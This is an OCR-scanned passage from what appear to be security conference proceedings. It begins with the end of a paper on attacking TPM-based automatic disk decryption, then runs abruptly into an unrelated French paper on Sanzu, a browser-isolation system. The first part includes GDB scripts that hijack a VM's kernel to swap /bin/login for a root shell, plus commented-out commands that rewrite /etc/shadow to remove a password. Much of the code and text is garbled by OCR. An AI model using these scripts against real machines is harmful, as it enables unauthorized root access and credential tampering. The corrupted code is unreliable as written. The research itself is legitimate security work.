address_load_elf_binary}")

gdb.execute(f"b *({address_load_elf_binary})")

#load_vmlinuz ()

gdb.execute(’c’, False, True)

#ret=gdb.exzecute (’p *((struct linuz_binprm+*) $rdi)’,
False, True)

#print (ret)

#ret=gdb.execute(’p ((struct linuz_binprm*) $rdi)->
filename’, False, True)

filename = gdb.execute(’p *(char#*) ($rdi+0x60)°’, False
, True).split () [3]

gdb.execute ("del")
return filename

def f_getListProcess(arg):

with open(arg, "w+") as f:
while True:
filename = f_printNextProcess ()

print (filename)
f.write(filename + "\n'")
f.flush ()

Listing 8. getListProcess Function
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(c) Identification of the target process
"/usr/bin/mv"
"/usr/bin/chmod"
"/usr/sbin/exim4"
"/usr/bin/install"
"/sbin/start-stop-daemon"
"/usr/sbin/exim4"
"/usr/sbin/exim4"
"/sbin/agetty"

"/bin/login" <===

"/bin/sh"

"/usr/bin/env"
"/usr/bin/run-parts"
"/etc/update-motd.d/10-uname"
"/usr/bin/uname"
"/etc/update-motd.d/85-fwupd"

2. Replace this process by a malicious one
(a) Start the disk in VM in debug mode

(b) Replacement of the process with the command
replaceNameProcess

1 |def f_replaceNameProcess(processName="/usr/bin/ls"):

2 address_execveatcommon = get_address_execveatcommon ()

3 gdb.execute(f"b *{address_execveatcommonl}")

4 while True:

5 gdb.execute(’c’, False, True)

6 filename = gdb.execute(’p *(char ##*)$rsi’, False,

True) .split () [3]

7 print (filename [1:-1], processName)

8 if filename[1:-1] == processName:

9 break

10

11 rsi = gdb.parse_and_eval("$rsi")

12 kernel_name_add = struct.unpack(’<Q’, bytes(inferior.
read_memory (rsi, 0x8))) [0]

13 user_name_add = struct.unpack(’<(’, bytes(inferior.
read_memory (rsi+0x8, 0x8))) [0]

14 #new_process = "/usr/sbin/agetty"”

15 new_process = "/usr/bin/sh"

16 print (kernel_name_add, new_process, len(new_process) +
1)

17 inferior.write_memory (kernel_name_add, new_process,
len(new_process) + 1)

18

19 base_mem = gdb.parse_and_eval ("$rcx")

20 backup = inferior.read_memory(base_mem, 0x1000)

21 args = [new_process]

22 #args = [new_process, "-a", "root", "ttyS0"]

23 #args = [new_process, "-c", "echo ’test’ > /home/user/
powned "]

24 #args = [new_process, "-c", "cat /etc/shadow | sed -E
’s/(user:) . *x(:.k: . *x: ko ox: F: . %:8)/\\1\\2/g’ > /
tmp/shadow; mv /tmp/shadow /etc/shadow"]



B. Forgette (a.k.a. MadSquirrel) 315

25 size_args = 8 * len(args)

26 offset = base_mem + size_args

27 offset_addr = base_mem

28 inferior.write_memory (offset, b"\x00"*8, 8)

29 print("last arg: " + hex(offset))

30 offset += 8

31 for arg in args:

32 inferior.write_memory (offset_addr, struct.pack(’<Q

>, offset), 8)

33 offset_addr += 8

34 inferior.write_memory (offset, arg, len(arg) + 1)

35 offset += len(arg) + 1

36 print ("adress_arg : " + hex(offset_addr-8) + ",

arg : " + hex(offset))

37

38 address_load_elf_binary = get_address_load_elf_binary
O

39 gdb.execute(f"b *({address_load_elf_binary})")

40 gdb.execute ("c"

41

42 cred_address = gdb.parse_and_eval("$rdi") + 0x48

43

44 base_uid = struct.unpack(’<(’, bytes(inferior.
read_memory (cred_address, 0x8))) [0]

45 inferior.write_memory (base_uid + 0x4, bytes ([0]*0x20),
0x20)

46

47 gdb.execute ("del")

48 gdb.execute ("c"

Listing 9. replaceNameProcess function

5.2 Conclusion

We cannot blindly trust current implementations that encrypt and
decrypt filesystems at boot time using TPM. If TPM2 offers a coun-
termeasure to communication sniffing, the solutions for decrypting the
disk at boot time described in this paper did not implement it yet. The
measurement of PCR can detect any modification on each step of the boot
and can protect it from an attacker that gets an early boot access. This
should be checked by the implementation to be fully protected from these
attacks (with reserves for BitLocker).

Moreover, the communication can be sniffed directly on the
SPI/LPC/I2C buses of the microchip. In this article, we showed how
to sniff these communications without hardware tampering (unmounting
the device or making some soldering). We also presented how to bypass
the encryption session features provided with TPM2. We emulated a full
operating system and bridged hard drive and the TPM to allow access
to the operating system with the higher rights. To help analyse a system
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which works with a TPM, a tool to automatize all the work done on this
act is published on GitHub [15].

6 Hardware Attacks

The last issue here, in both attacks is that it is necessary to gain access
to the BIOS. We previously focused on attacks that do not need any
physical manipulation of a device (no soldering, no opening), but what
about a locked BIOS.

On a target computer, the motherboard has different components
including;:

— The CMOS module which contains the non-volatile memory of the

BIOS and which allows to protect it

— The TPM module which contains the secrets used by the OS

— The hard disk which contains the operating system filesystem and

the OS

These three components are independent and can be separated and
used separately. The TPM usually communicates via the SPI or LPC
protocol. The TPM is either soldered directly to the motherboard, or a
socket can be plugged into a tower as in the following example:

Using the TPM-SPI card

The TPM-SPI card securely store keys, digital certificates, passwords, and data. It helps enhance the
network security, protects digital identities, and ensures platform integrity.

The TPM-SPI card supports 64-bit Windows ®10 UEFI OS only.

To use the TPM-SPI card:

5 Insert the TPM-SPI card to the SPI_TPM connector on your motherboard.

Pin definition:

SCLK#_TPM

o
=
a
L
=
@
Q

MOSI_TPM
PIRQ#_TPM

NOTE: The TPM module and BIOS share the same pin layout. The NC signal is used for the TPM-
SPI, while the BIOS signal is used for the motherboard.

Fig. 6. TPM socket
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The hard disk is usually connected via sata or nvme connectors. e.g.
on a tower like the following example:

' meicmrnyeiny :
I I b
zz ;
2 -
[] 3
o gox|3 |3
ECHEE
V- I
O8 |z| |z
Sc |3 |3
as8 & [
22 =
b " £
2 | <
8 o
Intel &% £
FIER 945GC A2 aE G
26 ——————q arxewnms P Chipset | &2 =
o0 o~
E0R PCI 5% L ;
EXPRESS o3
~a
25 — NSReck RoHS
@ PCIE2 g
24 —
”: A E—— 10
29 —1 = SATAII k!
=] 12
21 20 19 18 17161514 13
1 PS2_USB_PWR1 Jumper 15 Chassis Speaker Header (SPEAKER 1)
2 ATX 12V Connector (ATX12V1) 16 Chassis Fan Connector (CHA_FANL1)
3 CPU Fan Connector (CPU_FAN1) 17 USB 2.0 Header (USB6_7, Blue)
4 775-Pin CPU Socket 18 USB 2.0 Header (USB4 5, Blue)
5 North Bridge Controller 19  Floppy Connector (FLOPPY1)
6 2 % 240-pin DDRII DIMM Slots 20 HDMR Slot (HDMR1)
(Dual Channel: DDRII_1, DDRII_2; Yellow) 21 Front Panel Audio Header (HD_AUDIO1)
7 IDE1 Connector (IDE1, Blue) 22 PCl Slots (PCI1-2)
8 Clear CMOS Jumper (CLRCMOS1) 23 Internal Audio Connector: CD1 (Black)
9 South Bridge Controller 24 PCI Express x1 Slot (PCIE2)
10 Third SATAIl Connector (SATANl 3; Orange) | 25  PCl Express x16 Slot (PCIE1)
11 Fourth SATAIl Connector (SATAIl 4; Orange) | 26 ATX Power Connector (ATXPWR1)
12 Secondary SATAIl Connector (SATAIl 2; Red! 7 BIOS FWH Chip
13 System Panel Header (PANEL1) 28 Serial Port Connector (COM1)
[ 14 Primary SATAIl Connector (SATAI_1; Red) ] 29 Infrared Module Header (IR1)

Fig. 7. sata connectivity

The next objective is to get rid of the BIOS access, for this it is
necessary to reconnect the hard disk and the TPM module to a third
party motherboard to which we have access.

TPM can compute the integrity of each step of the operating system
launched as mentioned on page 295. But, as we succeed to boot on a virtual
machine, it seems to reproduce attacks showed in this paper on another
third part machine, the PCRs may not be verified. If some implementations
of automatic decrytion of disk are vulnerable to this last attack, an attacker
could take over the execution flow of the operating system, and retrieve
the whole content of the disk decrypted. These implementations should
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be reviewed to add a verification of each PCRs from BIOS to Operating
system (PCR 0 to 7).
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Résumé. L’article suivant détaille les choix techniques ainsi que 1’archi-
tecture d’un outil permettant de sortir le navigateur des postes clients
d’un réseau d’entreprise et de I'exécuter dans un environnement plus
controlé. Le client n’a alors plus qu’un déport visuel de ce navigateur. Nous
détaillerons dans une premiere partie I’architecture permettant d’exécuter
ces navigateurs. Les choix techniques ainsi que les performances obtenues
seront discutés dans un second temps.

1 Introduction

1.1 Les menaces de la navigation sur internet

Les navigateurs font aujourd’hui énormément de travail et ont une
taille de code relativement importante. Ils doivent manipuler une multi-
tude d’objets différents, ce qui expose une grande surface d’attaque : du
javascript, du HTML, des polices d’affichage, des formats vidéo, audio,
pdf. ..

Les conséquences sont la : les vulnérabilités sur les navigateurs sont
nombreuses, méme si Flash et Java ont disparu de cette surface d’attaque.
Le probléme est d’autant plus sensible que le navigateur s’exécute sur le
poste utilisateur, avec ses droits, poste qui lui-méme est directement relié
au domaine Windows. En prenant le controle du navigateur, 'attaquant a
donc un tapis rouge déroulé vers les ressources de 1'utilisateur ainsi que
vers I’Active Directory du domaine. Le navigateur du poste client n’est
qu’une barriere de péage dans laquelle 'attaquant doit jeter négligemment
quelques pieces pour accéder a ’autoroute du systéme d’information de
I’entreprise.

Un autre cas de figure certes plus rare mais néanmoins existant reste le
ver dans la pomme : comment détecter et quantifier les données exfiltrées
par un utilisateur indélicat ?

— en surveillant ses mails personnels ?

— au jugé de la quantité de données exfiltrées et en croisant les doigts

pour que les volumes deviennent détectables ?
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— en observant le marc de café du fond de la tasse durant les insomnies
chroniques 7

~
~
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>
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Domaine

Internet

9
Q

/N
o —

g
-
le]
]
<

Exchange

-

-
4

Fig. 1. Schéma réseau d’accés a internet : en rouge, nous sommes aveugles, im-
puissants

1.2 Etat de l’art

Pour se protéger des menaces détaillées ci-dessus, différentes protections
sont souvent mises en place.

Proxy filtrant et interception TLS La premiere protection est le
proxy HTTP filtrant avec des régles d’acces et des listes de filtres mises
a jour régulierement pour bloquer 'acces aux sites les plus douteux. Le
proxy peut étre authentifiant et assurer la tragabilité des acces web.

Malheureusement, la réalité est qu’aujourd’hui la durée de vie d’une
landing page' dépasse rarement les 12h. Le temps que le signalement
d’un site malveillant circule, 'attaquant a déja fermé sa trousse, pris son
cartable et installé sa tente sur un autre domaine.

Par ailleurs, ’augmentation du trafic HI'TPS n’a pas arrangé la si-
tuation : autour de 90% du trafic web est chiffré. Une parade est de

! Page web installée par un attaquant, attendant le chaland tel une toile tissée par
une araignée, attendant le moucheron imprudent



F. Desclaux, F. Vanniere 321

pratiquer pour certaines entreprises le man-in-the-middle HT'TPS permet-
tant d’analyser le trafic des navigateurs. Mais depuis déja 2015, I’exploit
kit Angler fait par exemple son propre Diffie-Hellman en javascript sous
le HTTPS [10].

Aussi, l'interception TLS pose un certain nombre de problemes et
oblige notamment a diminuer la sécurité des sites visités en usurpant leur
certificat TLS, de plus, elle expose les données personnelles des utilisateurs.
Le choix d’accepter ou non le certificat serveur revient a 1’équipement
qui fait 'interception et non plus a l'utilisateur. Les navigateurs sont de
plus de plus en plus vigilant vis a vis du TLS, et notamment avec les
mécanique de cert pinning. Il faut alors garantir que 1’équipement suive
ces mécanismes.

Dans ces conditions, la palette des parades disponibles pour les entre-
prises tire sur le pastel.

Navigateur distant Certaines entreprises utilisent une solution de
bureau a distance pour la navigation sur Internet en se basant sur des
protocoles comme VNC, RDP ou encore SPICE.

Ce type d’infrastructure complexifie les attaques car une fois la main
prise sur le navigateur web, 'attaquant doit remonter vers le poste utilisa-
teur.

Malheureusement, ces protocoles sont complexes et ont leurs propres
failles allant jusqu’a ’exécution de code sur le poste utilisateur. En voici
quelques exemples :

1. CVE-2020-14355 SPICE exécution de code a distance entre client
et serveur

2. CVE-2021-34535 et CVE-2022-21851 pour Remote Desktop Client :
vulnérabilité entrainant une exécution de code arbitraire

3. CVE-* En novembre 2019, Kaspersky annonce que leur CERT a
trouvé 37 vulnérabilités dans diverses implémentations du protocole
VNC [§]

RDP possede de nombreux canaux et peut exposer un périphérique du
poste utilisateur vers le serveur. Un Terminal Server permet par exemple a
un utilisateur distant de brancher une clef USB sur son poste de télétravail,
et de retrouver sa clef USB montée directement sur le terminal server.

Un point un peu plus subjectif, concernant certaines de ces solutions
comme VNC par exemple, est que les performances ne sont pas forcé-
ment au rendez-vous ou sont trop consommatrices de bande passante :
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I’utilisateur rechigne alors & perdre son confort et la solution n’est pas
adoptée.

L’étude [6] montre que dans une configuration dite “Low Bandwidth”
limitée & 10Mbit/s, les protocoles Spice et VNC offrent une qualité tres
faible.? Dans un environnement limité & 100Mbit/s, la qualité atteint les
50% de la vidéo originale. Le probléme est que nous souhaitons ici pouvoir
supporter plusieurs centaines d’utilisateurs en concurrence sur une liaison
1 Gbit/s. La bande passante pouvant étre allouée pour un utilisateur se
situerait par conséquence plus autour de 4Mbit/s, ce qui est un débit
encore plus bas que le profil bas débit de 'article cité.

Le lecteur averti est siirement en train de bondir de sa chaise, rétor-
quant que d’autres solutions existent déja. Les solutions comme Seamless
RDP, VMWare Horizon ou Citrix offrent ce genre de fonctionnalités. Ces
solutions propriétaires ne permettent pas forcément un controle fin entre
le client et ’hyperviseur : il est difficile de connaitre avec exactitude
les informations qui circulent a travers ce lien. De plus, les protocoles
utilisés sont majoritairement propriétaires et peuvent étre sujets a des
vulnérabilités permettant de remonter vers la machine de 1'utilisateur.

Ces solutions propriétaires ont également eu leur lot de vulnérabilités :

— Citrix, a travers un avis de sécurité du CERT-FR en février 2022 [3] ;

— ici une exécution de code privilégiée dans la machine virtuelle

permet de planter I’hyperviseur VmWare Fusion au travers d’une
vulnérabilité dans le parser de fonte TueType [7];

Cloudflare Zero Trust Network Access Cloudflare propose une
plateforme zero trust pour les entreprises. Elle combine des regles de filtrage
avancées avec une technologie de rendu HTML déporté dans le navigateur.
La manipulation du HTML, du CSS ainsi que du code javascript d’un site
distant est faite dans un navigateur web de Cloudflare. Les opérations
graphiques vectorielles en résultant sont envoyées au navigateur du client.
Ce dernier ne fait alors qu’exécuter ces opérations graphiques pour obtenir
le rendu final de la page web.

La surface d’attaque est réduite ici a l'interface des opérations gra-
phiques. Cette solution est performante et sécurisée mais elle n’est dis-
ponible que dans un mode SaaS (Software as a Service) exécuté sur
I'infrastructure de Cloudflare qui a donc acces a toutes les données du
client : cookies, mots de passe, historique. ..

2 La qualité vidéo est ici mesurée en utilisant la méthode du Slow—motion benchmarking
référencée dans leur article
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1.3 Nos objectifs et solution proposée

Les objectifs de notre solution sont multiples :

— limiter 'impact sur le réseau d’entreprise d’une compromission du

navigateur ;

— assurer la tracabilité des acceés Internet avec notamment la possibi-

lité d’analyser finement ce qui entre et sort du réseau d’entreprise ;

— en cas de compromission, pouvoir analyser une attaque et retrouver

le vecteur d’attaque.

Pour une protection efficace, la solution doit étre utilisable par tous
les utilisateurs du domaine et donc fournir une bonne expérience utili-
sateur : quasiment aussi naturelle qu'un navigateur classique, fluide et
transparente.

L’idée est ici de sortir le navigateur de la zone de sécurité de I'utilisateur
(et donc du domaine). Pour cela, on installe un hyperviseur dans une DMZ
qui fera tourner des machines virtuelles. Chaque client a sa propre machine
virtuelle. Cette machine virtuelle fait tourner le navigateur du client. La
solution assurera un acces graphique confortable a ces machines depuis
un poste client.

2 Projet Sanzu : déport vidéo pour des machines virtuelles

Comme vu en introduction, la solution d’isoler la navigation web dans
une VM avec du déport d’affichage est bonne mais a condition de bien
maitriser la surface d’attaque et d’offrir de bonnes performances aux
utilisateurs.

C’est la qu’arrive le projet Sanzu de déport d’affichage vidéo et des
entrées/sorties utilisateur (clavier, souris, copier/coller).

Chaque navigateur s’exécute dans une machine virtuelle elle méme
s’exécutant sur un hyperviseur dans une DMZ.

2.1 Architecture

Les flux venant d’Internet arrivent sur ces navigateurs. Les utilisateurs
lancent un client qui affichera le rendu déporté du navigateur et le tour
est joué.

L’architecture est pensée pour minimiser la friction entre I'utilisateur
et le systéme remplagant son navigateur sur Internet. Elle se découpe en
plusieurs parties :

Un service s’exécute sur I’hyperviseur : il regoit les connexions des
clients, protégées par TLS et authentifiées en Kerberos avec les credentials
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Fig. 2. Schéma réseau avec hyperviseur

de I'utilisateur. L’utilisateur n’a ici pas besoin de retaper un mot de passe.
Pour cela, une keytab du domaine est générée et installée sur I’hyperviseur.
Ainsi, 'hyperviseur peut vivre hors du domaine.

On peut donc souligner que de nouvelles surfaces d’attaque sont expo-
sées par le client lourd :

— le protocole client /serveur;

— le décodeur vidéo;

— le décodeur audio.

Pour limiter ce probléme, ’encodeur vidéo/son est sorti de la machine
virtuelle.

Les machines virtuelles, une par client, embarquent un agent qui
s’occupe de récupérer I’écran du navigateur et de simuler la frappe des
touches et les mouvements de souris de 1'utilisateur. Il ne compresse pas
la vidéo, mais envoie les images brutes hors de la machine virtuelle.

Un proxy vidéo est également lancé et s’occupe de faire le lien entre
le client et I’agent tout en encodant la vidéo sur I’hyperviseur. Ainsi, les
cartes graphiques utilisées pour ’encodage vidéo sont liées a I’hote et non
a la machine virtuelle.

Le point intéressant est que si I'attaquant arrive a prendre le contrdle
du navigateur ainsi que du systéme situé dans la machine virtuelle (y
compris l'agent) la surface d’attaque a laquelle il a acces est réduite a
la communication entre ’agent et le proxy qui utilisent Protobuf. Les
données embarquées par Protobuf a ce stade sont limitées a une image de
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Fig. 3. Vue interne de ’hyperviseur

pixels et de sons bruts non parsés par le proxy. Le décodeur vidéo/son du
client est ici sorti de la surface d’attaque.

Pour étre réactif lors de la connexion des clients, des machines virtuelles
sont préparées et lancées sans profil spécifique. Un service s’exécutant
sur ’hyperviseur s’occupe de maintenir un nombre constant de machines
prétes a étre utilisées. Si une machine virtuelle est consommée, il en
démarre une nouvelle. Le but est de pouvoir encaisser un grand nombre
de clients qui se connectent dans une fenétre de temps réduite. Les étapes
suivantes sont alors déroulées :

Le

I'utilisateur lance le client lourd sur son poste;

la connexion en TLS + authentification Kerberos est faite;

le broker récupere le username.

serveur exécute ensuite les étapes suivantes :

Une machine virtuelle est choisie dans le pool de VMs non affectées.
Ces machines sont déja démarrées. Un utilisateur générique est
utilisé.

Chaque utilisateur possede une image disque sur I’hyperviseur
contenant :

— son profil du navigateur ;

— son cache;
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— Cette image est alors montée dans la machine virtuelle sélectionnée

et le profil du navigateur est prét.

— le navigateur est lancé en utilisant 1'utilisateur générique, en profi-

tant du profil de 'utilisateur situé sur 'image disque.

— La machine virtuelle est préte.

On peut décider de conserver le proxy authentifiant les clients ou
d’autres services situés dans la DMZ. On installe alors un serveur Kerberos
sur I’hyperviseur. Ce dernier permettra de faire le lien entre les clients
authentifiés provenant du domaine a protéger (par exemple le domaine
Windows), et 'acces a des services dans la DMZ.

Les étapes suivantes sont effectuées :

— un domaine Kerberos a part entiere est installé sur I’hyperviseur ;

— le domaine est vide a l’origine et ne contient aucun utilisateur;

— Tutilisateur qui s’authentifie aupres du service est rajouté a la volée

dans le domaine Kerberos;

— une keytab est créée pour 'utilisateur sur le domaine personalisé ;

— les tickets associés aux services qui seront utilisés dans le futur sont

créés et insérés dans la machine virtuelle;

— la machine virtuelle est préte!

L’avantage de ce systeme est d’éviter d’avoir une synchronisation entre
le vrai domaine et le domaine hébergé dans la DMZ. Si un utilisateur est
ajouté sur le domaine a protéger et que son authentification est acceptée,
il sera automatiquement rajouté et reconnu dans le domaine de la DMZ.
Ce mécanisme a quand méme un inconvénient : le service qui authentifie
les utilisateurs provenant du domaine & protéger a besoin de droits élevés
sur le domaine de la DMZ pour pouvoir rajouter des utilisateurs a la volée.
Sa compromission permettrait de créer n’importe quel compte utilisateur
sur ce domaine (mais pas sur le domaine & protéger, bien entendu).

2.2 Autres services : téléchargement, envoi, impression

Des questions sont pour le moment en suspens : comment télécharger
un fichier ou imprimer une page web ? Effectivement, quand 'utilisateur
enregistre un fichier depuis son navigateur, celui-ci est stocké dans la
machine virtuelle et non sur son poste.

Pour pallier ce probléme, nous installons également un service WebDAV
(donc HTTP), écrit en Rust [1], permettant le transfert bi-directionel des
fichiers. Ce service WebDAV authentifie également d’un coté les clients
venant du vrai domaine en utilisant une keytab de ce domaine, et d’un
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Fig. 4. Authentification d’un utilisateur du domaine & protéger sur le service de
navigation déportée

autre coté les utilisateurs venant des machines virtuelles en utilisant les
tickets préalablement insérés dans ces derniéres.

Le client WebDAV est natif et activé sur les postes Windows par
défaut. Le WebDAV est monté dans la machine virtuelle sur le dossier de
téléchargement c6té machine virtuelle et sur un lecteur réseau co6té poste
utilisateur. Chaque utilisateur est cloisonné dans son propre répertoire.

Pour envoyer un fichier sur une page web, I'utilisateur doit tout d’abord
pousser le fichier sur I'espace de stockage WebDAV puis, dans le navigateur,
séléctionner le fichier depuis le dossier "Téléchargements”.

2.3 Résumé

Pour résumer, la nouvelle surface d’attaque c6té hyperviseur est :
— QEMU/KVM : L’attaquant est dans une machine virtuelle ;
— Protobuf : connexion agent/host

— vidéo brute : 'encodage est fait sur le host;

— son brut : 'encodage est fait sur le host.
Coté client :
— Le décodeur vidéo n’est pas exposé a l'attaquant ;
— Le décodeur son n’est pas exposé a 'attaquant.
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— L’interface WebDAV / HTTP

11 est également & noter que le service qui recoit les connexions des
clients est écrit en Rust. L’agent, I’encodeur vidéo et le client sont aussi
écrits en Rust.

2.4 Durcissement en profondeur

Maintenant que le principe du systéme a été exposé, intéressons-nous
aux points pouvant étre travaillés pour améliorer le niveau de sécurité de
I’ensemble du systeme.

Génération des images de VM 1l est indispensable d’avoir toujours un
navigateur web et un systeme d’exploitation a jour. Pour cela, les images
des VMs sont reconstruites de zéro chaque matin et toutes les VMs sont
détruites afin de forcer 'utilisation de la nouvelle image.

Une fois 'image construite, celle-ci est testée automatiquement pour
vérifier qu’elle est fonctionnelle et aussi pour s’assurer que le navigateur
web et le noyau Linux sont bien a la derniére version disponible.

Systéme de fichiers overlay L’image disque de la VM est montée en
lecture seule sur les VMs de surf, de cette fagon un attaquant ne peut pas
modifier une image et contaminer d’autres VMs. Aussi, un disque est créé
spécifiquement pour la session de surf et monté par-dessus en overlay afin
d’autoriser les écritures. Ce disque contient les journaux du systéme et
toutes les modifications effectuées, il peut étre utilisé pour auditer une
VM de surf en cas de compromission ou comportement douteux.

Linux durci L’hyperviseur, comme chaque VM, dispose d’un pare-feu
local bloquant toutes les connexions sauf les flux autorisés qui sont bien
connus et maitrisés.

Les VMs peuvent utiliser SecureBoot, le principal intérét est d’activer
le kernel_lockdown du noyau Linux qui va bloquer tous les acces directs
en mémoire et le chargement des modules noyau non signés. La signature
du noyau se fait lors de la génération de la VMs avec une clé externe.

Pour aller plus loin, il est possible d’utiliser SELinux ainsi qu’un
noyau Linux durci avec Grsecurity et PAX pour compliquer grandement
I’exploitation d’une faille de sécurité noyau. Effectivement, un avantage
de cette solution est que nous avons les mains libres dans la configuration
du systeme d’exploitation qui supporte le navigateur.
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Navigateur durci Au niveau du navigateur web, il est possible de
désactiver certaines fonctionnalités au détriment des performances :

— le support Wasm

— le JiT de Javascript (responsable d’environ 30% des failles de

sécurité)

— Dl’installation de modules non validés

— DNS over HTTPS afin de garder la tracabilité des requétes DNS

Il est aussi envisageable de recompiler le navigateur pour qu’il enregistre
toutes les URLs chargées.

Controle des entrées/sorties Chaque fichier téléchargé ou envoyé
passe obligatoirement par le serveur WebDAV (servant de passe-plat). Il
est possible d’ajouter sur ce dernier une passerelle d’analyse antivirale
ainsi que de séquestrer les hashes, voire les fichiers qui sont échangés avec
Internet.

Le flux entre le client et I’hyperviseur utilise un protocole maitrisé
(sérialisation et désérialisation par Protobuf) et peut donc étre surveillé
en cas de suspicion (exfiltration de données par copier/coller...). Le
copier/coller peut également étre configuré en sens unique : dans ce cas,
I'utilisateur pourra copier depuis Internet et coller sur son bureau, mais
copier depuis son bureau pour coller vers Internet lui sera impossible.

2.5 Confort d’utilisation et performances

Voici quelques points intéressants qui permettent a la solution de

gagner en confort :

— la compression vidéo est faite par plusieurs cartes graphiques,
interchangeables a chaud ;

— le son passe par le méme flux et est compressé sur I’hyperviseur
(sur CPU);

— l'authentification est faite sans mot de passe avec Kerbe-
ros/ credentials utilisateur ;

— le copier/coller est supporté : il peut étre modifié pour étre unidi-
rectionnel ;

— la résolution de I’écran est adaptée : lorsque la taille de la fenétre
du client est changée, le serveur adapte (sous xvfb par exemple) sa
résolution a celle du client ;

— la latence réduite, en limitant les copies au niveau du code;

— la qualité de I'image en utilisant par exemple le format YUV444 ;

— les images peuvent étre exfiltrées de la VM par



330 Mise en quarantaine du navigateur

— TCP,
— mémoire partagée (brutes, sans parsing),
— Vsock;
— l’encodeur vidéo est coupé quand I'image ne bouge plus. Les res-
sources sont alors libérées et peuvent étre utilisées par un autre
utilisateur ;
— seamless : seules les fenétres liées au navigateur sont affichées
sur le poste utilisateur. Le but est d’avoir un ressenti utilisateur
d’intégration du navigateur dans son environnement.
L’exfiltration des images de la machine virtuelle est consommatrice
de bande passante. Cela reste relativement faible vis-a-vis des vitesses
des bus PCI express,®> mais certaines mesures peuvent étre prises. Un
calcul rapide permet d’estimer la bande passante prise par 'exfiltration
des images : 1920 x 1080 x 4 x 30 ~ 248Mo/s/client. Ici on peut soit
extraire les images en TCP, soit en utilisant une mémoire partagée entre
I’hyperviseur et les machines virtuelles. L’exfiltration se fait alors avec un
simple memcpy. Chaque machine virtuelle a un /dev/shm/video__x associé
sur ’hdte (40Mo) . Dans la machine virtuelle, cette mémoire partagée est
vue comme une RAM PCI. L’échange de pixels bruts (non parsés) se fait
alors entre ’héte et la VM.

Pour tester la latence “porte a porte” on lance le serveur et le client
sur la méme machine et sur le méme écran. On exécute le script suivant,
avec une configuration 60fps :

while true; do echo $(($(date +%s%N)/1000000)); done

1641914324672 16191326 1

(o] & sh  1:bash 3 1641914324613

:bash

1641914372746 1641914372696

(o] & sh  1:bash 2 1641914372699

1641914390341 186-

4
:bash B 5 illi s 5 1641914390305
S .

Fig. 5. Latence a laffichage d’un déport graphique local. A gauche, I'écran original,
a droite, I'affichage déporté

3 Une carte Nvidia Tesla T4 posséde une mémoire graphique GDDR6 avec une bande
passante de 300Go/s. Elle est connectée en PCI Express 3.0x16 avec une bande
passante de 32Go/s [9].
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Ce test permet (& la louche) de calculer la latence de l'encodage / décodage.
Les 4 tests montrent une différence a l'affichage de 59ms, 47ms, 47ms,
36ms, donc 48ms en moyenne. Il faudra rajouter a cela la latence réseau.

Pour rappel, certains tests en ligne montrent que Stadia [12] a une
latence pouvant aller de 60ms & 120ms (de 'appui d’une touche au résultat
affiché en passant par internet).

Une vue d’ensemble de ’architecture présentée dans cette partie est
représentée sur le schéma 6.

>
O

Internet Webdav
* =] -]
F - -] '
s s 1
- i r
Proxy Hyperviseur Vidéo PC

/N
1 —

Exchange

Fig. 6. Schéma réseau final

3 Solution graphique

Nous l’avons vu, il existe d’autres solutions d’affichage graphique
déporté. Le nerf de la guerre pour que le systeme soit acceptable est que
I'utilisateur ne se rende pas compte que le navigateur n’est pas exécuté
sur son poste. Il faut donc qu’il ait :

— une faible latence (pour une bonne réactivité) ;

— un nombre d’images par seconde confortable (pour la fluidité) ;

— une qualité graphique élevée (pour une lecture confortable).

On peut alors se demander : quels utilisateurs possedent aujourd’hui
des solutions avec ce genre de caractéristiques? Les pro gamers.
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Fig. 7. Navigateur déporté affiché sur un poste Windows

3.1 Doom Guy

La solution adopte la méme idée que les systemes modernes utilisés
dans le domaine du jeu vidéo sur PC/téléphone portable. L’idée est de
déporter la complexité du rendu des jeux vidéo (Stadia, Shadow...) sur
une machine spécialement dédiée a cette tache et de streamer le résultat
sur le PC/téléphone client.

Aujourd’hui, les cartes graphiques integrent des compresseurs vidéo
tres performants : ils peuvent encoder plusieurs flux vidéos haute définition
en parallele [11]. Ici, on streame directement la sortie vidéo de la machine
et on l'affiche sur la machine de confiance. La solution de base est donc
simplement un client /serveur qui permet de streamer un bureau a distance.
Dans ce mode, elle peut étre utilisée comme n’importe quel autre systeéme
de déport de bureau graphique.

3.2 Performances graphiques

Cette partie décrit le principe utilisé pour la compression vidéo. Bien
que ces informations peuvent paraitre anodines, elles sont pourtant essen-
tielles. Si 'outil a une qualité vidéo qui n’est pas au rendez-vous ou que
sa latence est trop importante, il nuit a I’expérience utilisateur et ne sera
pas adopté. Un effort a donc été apporté a cette facette du probleme.

Nous nous placons dans le cas ou 'outil a des restrictions de bande
passante : si le serveur doit gérer un grand nombre d’utilisateurs en



F. Desclaux, F. Vanniére 333

l Server l

Render cycle

Fig. 8. Opérations effectuées par le client/serveur

paralléle, le réseau doit également supporter la transmission de tous ces flux
vidéo. Aujourd’hui, une vidéo 1080p a 30fps consomme environ 300ko/s.
Un hyperviseur connecté en gigabit pourra donc gérer autour de 400 clients.
Pour obtenir ce résultat, nous utilisons la puissance des compresseurs vidéo
modernes intégrés dans les cartes graphiques ou les CPU. La bibliotheque
ffmpeg offre justement une API permettant d’envoyer un flux vidéo brut
vers un encodeur matériel : NVENC [13] pour Nvidia, QSV (Quick Sync
Video [5]) pour Intel. Notons que la compression vidéo peut également se
faire sur CPU en utilisant par exemple le codec 1libx264. Elle consomme
alors pour le flux précédent environ 3 cceurs a temps plein.

La seule différence est que ces derniers utilisent des formats de pixels
différents. Le plus classique est le YUV420 (un plan pour la composante Y,
un plan pour le U et un pour le V). L’encodeur QSV utilise par exemple
le format NV12 (un plan pour le Y et un avec les composantes U et V
entrelacées).
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De facon identique fimpeg permet de décoder une vidéo en utilisant un
décodeur matériel. Cette facette est un peu moins critique, car le décodage
d’un flux précédemment décrit consomme moins de 50% d’un CPU (ceci
est un peu différent sur téléphone ou sur raspberry pi).

Nous arrivons au point des performances. Ces compresseurs vidéo sont
relativement performants et prennent en reégle générale moins de 10ms
pour compresser une frame d’un flux vidéo. Pour rappel, si 'utilisateur
final désire travailler en 1080p a 60fps, le budget pour une frame est en
dessous de 17ms. Pour minimiser la latence lors de la compression de
I'image, les encodeurs doivent également étre configurés pour utiliser un
profil “temps réel”. L’astuce est ici de désactiver totalement la partie de
compression vidéo temporelle qui se base sur 'image N + 1 pour encoder
I’image N. En clair, I’encodeur n’a pas le droit de regarder dans le futur
pour compresser la trame présente. Ainsi, dés qu’on donne une image
brute & ’encodeur vidéo, ce dernier nous renvoie une image compressée
sans attendre la suite des images du flux brut. Cela se fait au prix d’'un
ratio d’encodage un peu moins bon.

L’étape avant la compression est le changement d’espace colorimétrique.
